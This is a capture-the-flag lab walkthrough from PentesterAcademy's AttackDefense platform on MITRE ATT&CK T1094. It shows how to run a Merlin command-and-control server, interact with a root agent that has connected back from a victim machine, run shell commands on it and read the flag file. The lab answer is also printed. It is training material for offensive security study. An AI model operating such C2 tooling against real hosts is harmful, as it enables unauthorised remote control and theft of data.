
ATTACK
DEFENSE
by PentesterAcademy

Name	T1094: Custom Command and Control Protocol
URL	https://www.attackdefense.com/challengedetails?cid=1577
Type	MITRE ATT&CK Linux : Command and Control

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

Objective: Start the Merlin server on the eth1 interface. Once the Merlin agent connects back, retrieve the flag kept in the root directory of the other machine!

Solution:

Step 1: Check the IP address of the machine.

Command: ip addr

```
root@attackdefense:~# ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
2331: eth0@if2332: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 02:42:0a:01:01:04 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 10.1.1.4/24 brd 10.1.1.255 scope global eth0
       valid_lft forever preferred_lft forever
2334: eth1@if2335: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 02:42:c0:1e:40:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 192.30.64.2/24 brd 192.30.64.255 scope global eth1
       valid_lft forever preferred_lft forever
root@attackdefense:~#
```

Step 2: Start merlinServer.

Command: merlinServer -i 192.30.64.2

```
root@attackdefense:~# merlinServer -i 192.30.64.2

                                &&&&&&&&
                              &&&&&&&&&&&&
                             &&&&&&&&&&&&&&&&
                            &&&&&&&&&&  &&&&
                  Version: 0.8.0.BETA
                  Build: 2c1146fa39f65c96b8ccbcd915383e16441af063
[-]No certificate found at /root/data/x509/server.crt
[-]Creating in-memory x.509 certificate used for this session only.
[i]Additional details: https://github.com/Ne0nd0g/merlin/wiki/TLS-Certificates
Merlin»
[!]Listener was started using "merlin" as the Pre-Shared Key (PSK) allowing anyone decrypt message traffic.
[-]Consider changing the PSK by using the -psk command line flag.
[-]Starting h2 listener on 192.30.64.2:443
```

Merlin server is now listening for inbound connections from the agents. In a few seconds, a client connects to the server. The list of all sessions can be listed using sessions command.

Command: sessions

```
[+]New authenticated agent checkin for 0b574407-f2fc-450d-af4e-c858bc62cb34 at 2019-12-28T11:15:14Z
Merlin»
Merlin» sessions

+--------------------------------------+-------------+------+----------+-------------+--------+
|              AGENT GUID              |  PLATFORM   | USER |   HOST   |  TRANSPORT  | STATUS |
+--------------------------------------+-------------+------+----------+-------------+--------+
| 0b574407-f2fc-450d-af4e-c858bc62cb34 | linux/amd64 | root | victim-1 | HTTP/2 (h2) | Active |
+--------------------------------------+-------------+------+----------+-------------+--------+
```

Step 3: Select this session for interaction.

Command: interact 0b574407-f2fc-450d-af4e-c858bc62cb34

```
Merlin» interact 0b574407-f2fc-450d-af4e-c858bc62cb34
Merlin[agent][0b574407-f2fc-450d-af4e-c858bc62cb34]»
```

Step 4: Check the available commands.

Command: help

```
Merlin[agent][0b574407-f2fc-450d-af4e-c858bc62cb34]» help

      COMMAND      |          DESCRIPTION           |            OPTIONS
+------------------+--------------------------------+--------------------------------+
  cd               | Change directories             | cd ../../ OR cd c:\\Users
  cmd              | Execute a command on the agent | cmd ping -c 3 8.8.8.8
                   | (DEPRECIATED)                  |
  back             | Return to the main menu        |
  download         | Download a file from the agent | download <remote_file>
  execute-shellcode | Execute shellcode             | self, remote <pid>,
                   |                                | RtlCreateUserThread <pid>
  info             | Display all information about  |
                   | the agent                      |
  kill             | Instruct the agent to die or   |
                   | quit                           |
  ls               | List directory contents        | ls /etc OR ls C:\\Users
  main             | Return to the main menu        |
  pwd              | Display the current working    | pwd
                   | directory                      |
  set              | Set the value for one of the   | killdate, maxretry, padding,
                   | agent's options                | skew, sleep
  shell            | Execute a command on the agent | shell ping -c 3 8.8.8.8
  status           | Print the current status of    |
                   | the agent                      |
  upload           | Upload a file to the agent     | upload <local_file>
                   |                                | <remote_file>
```

Step 5: Check the info about the machine on which the merlin agent is operating.

Command: info

```
Merlin[agent][0b574407-f2fc-450d-af4e-c858bc62cb34]» info

+------------------------------+------------------------------------------+
| Status                       | Delayed                                  |
| ID                           | 0b574407-f2fc-450d-af4e-c858bc62cb34     |
| Platform                     | linux                                    |
| Architecture                 | amd64                                    |
| UserName                     | root                                     |
| User GUID                    | 0                                        |
| Hostname                     | victim-1                                 |
| Process ID                   | 21                                       |
| IP                           | [127.0.0.1/8 192.30.64.3/24]             |
| Initial Check In             | 2019-12-28T11:14:56Z                     |
| Last Check In                | 2019-12-28T11:14:56Z                     |
| Agent Version                | 0.8.0.BETA                               |
| Agent Build                  | 2c1146fa39f65c96b8ccbcd915383e16441af063 |
| Agent Wait Time              | 30s                                      |
| Agent Wait Time Skew         | 3000                                     |
| Agent Message Padding Max    | 4096                                     |
| Agent Max Retries            | 7                                        |
| Agent Failed Check In        | 0                                        |
| Agent Kill Date              | 1970-01-01T00:00:00Z                     |
| Agent Communication Protocol | h2                                       |
+------------------------------+------------------------------------------+
```

Step 6: Check the contents of the root directory of the target machine (on which agent is running).

Command: ls /root

```
Merlin[agent][0b574407-f2fc-450d-af4e-c858bc62cb34]» ls /root
[-]Created job yCOnnQujAj for agent 0b574407-f2fc-450d-af4e-c858bc62cb34 at 2019-12-28T11:15:32Z
Merlin[agent][0b574407-f2fc-450d-af4e-c858bc62cb34]»
```

The server will create a job and assign it to an agent. Depending on task, it might take time to get the output.

After a few seconds, the output will be shown.

```
Merlin[agent][0b574407-f2fc-450d-af4e-c858bc62cb34]»
[+]Results for job yCOnnQujAj at 2019-12-28T11:16:16Z

Directory listing for: /root

-rw-r--r--      2018-08-06 22:35:13     3106    .bashrc
-rw-r--r--      2018-08-06 22:35:13     148     .profile
-rw-r--r--      2019-12-28 11:10:37     33      flag

Merlin[agent][0b574407-f2fc-450d-af4e-c858bc62cb34]»
```

Step 7: Retrieve the flag.

Command: shell cat /root/flag

```
Merlin[agent][0b574407-f2fc-450d-af4e-c858bc62cb34]» shell cat /root/flag
[-]Created job biTNtvTurE for agent 0b574407-f2fc-450d-af4e-c858bc62cb34 at 2019-12-28T11:17:00Z
Merlin[agent][0b574407-f2fc-450d-af4e-c858bc62cb34]»
[+]Results for job biTNtvTurE at 2019-12-28T11:17:17Z

f02dcc52da5f871c0ef1998a9cfe4993
```

Flag: f02dcc52da5f871c0ef1998a9cfe4993

References:

- Merlin (https://github.com/Ne0nd0g/merlin)